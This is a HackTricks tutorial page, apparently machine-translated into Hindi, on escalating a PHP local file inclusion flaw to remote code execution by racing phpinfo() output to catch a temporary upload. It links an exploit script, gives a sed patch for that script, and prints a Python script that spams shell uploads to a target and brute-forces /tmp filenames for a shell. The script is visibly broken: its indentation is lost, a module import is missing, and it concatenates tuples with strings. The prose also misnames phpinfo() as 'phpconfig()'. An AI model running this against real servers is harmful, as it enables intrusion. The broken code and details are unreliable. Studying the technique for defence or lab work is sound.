LFI2RCE via phpinfo()

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!

दूसरे तरीके HackTricks का समर्थन करने के लिए:

इस सुरक्षा दोष का शोषण करने के लिए आपको चाहिए: एक LFI दोष, एक पृष्ठ जहां phpinfo() प्रदर्शित होता है, "file_uploads = on" और सर्वर को "/tmp" निर्देशिका में लिखने की क्षमता होनी चाहिए।

https://www.insomniasec.com/downloads/publications/phpinfolfi.py

ट्यूटोरियल HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s

आपको शोषण को ठीक करने की आवश्यकता है (बदलें => को => में)। इसे करने के लिए आप कर सकते हैं:

sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\&gt/g' phpinfolfi.py

सिद्धांत

यदि PHP में अपलोड की अनुमति है और आप कोशिश करते हैं कि एक फ़ाइल अपलोड करें, तो यह फ़ाइल एक अस्थायी निर्देशिका में संग्रहीत की जाती है जब तक सर्वर अनुरोध का प्रसंस्करण पूरा नहीं हो जाता, फिर यह अस्थायी फ़ाइल हटा दी जाती है।

फिर, यदि वेब सर्वर में LFI दोष मिल गया है तो आप अस्थायी फ़ाइल का नाम अनुमान लगाने की कोशिश कर सकते हैं और उसे हटाया जाने से पहले अस्थायी फ़ाइल तक पहुंचकर RCE का शिकार हो सकते हैं।

Windows में फ़ाइलें आम तौर पर C:\Windows\temp\php में संग्रहित की जाती हैं।

Linux में फ़ाइल का नाम आम तौर पर रैंडम होता है और /tmp में स्थित होता है। क्योंकि नाम रैंडम होता है, इसे किसी अन्य स्थान से अस्थायी फ़ाइल का नाम निकालने की आवश्यकता होती है और इसे हटाया जाने से पहले पहुंचने की आवश्यकता होती है। यह फ़ंक्शन "phpconfig()" की सामग्री में चर $_FILES के मान को पढ़कर किया जा सकता है।

phpinfo()

PHP एक 4096B का बफ़र उपयोग करता है और जब यह पूरा हो जाता है, तो यह ग्राहक को भेजा जाता है। फिर ग्राहक बड़े अनुरोध भेज सकता है (बड़े हेडर का उपयोग करके) एक php रिवर्स शैल अपलोड करने के लिए, phpinfo() का पहला हिस्सा वापस आने का इंतजार कर सकता है (जहां अस्थायी फ़ाइल का नाम होता है) और फ़ाइल को हटाने से पहले अस्थायी फ़ाइल तक पहुंचने की कोशिश कर सकता है और LFI दोष का शिकार हो सकता है।

लंबाई = 6 होने पर नाम को ब्रूटफ़ोर्स करने के लिए पायथन स्क्रिप्ट

import itertools
import requests
import sys

print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):
requests.post('http://target.com/index.php?c=index.php', f)


print('[+] Bruteforcing the inclusion')
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
url = 'http://target.com/index.php?c=/tmp/php' + fname
r = requests.get(url)
if 'load average' in r.text:  # <?php echo system('uptime');
print('[+] We have got a shell: ' + url)
sys.exit(0)

print('[x] Something went wrong, please try again')
जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!

दूसरे तरीके HackTricks का समर्थन करने के लिए:

Last updated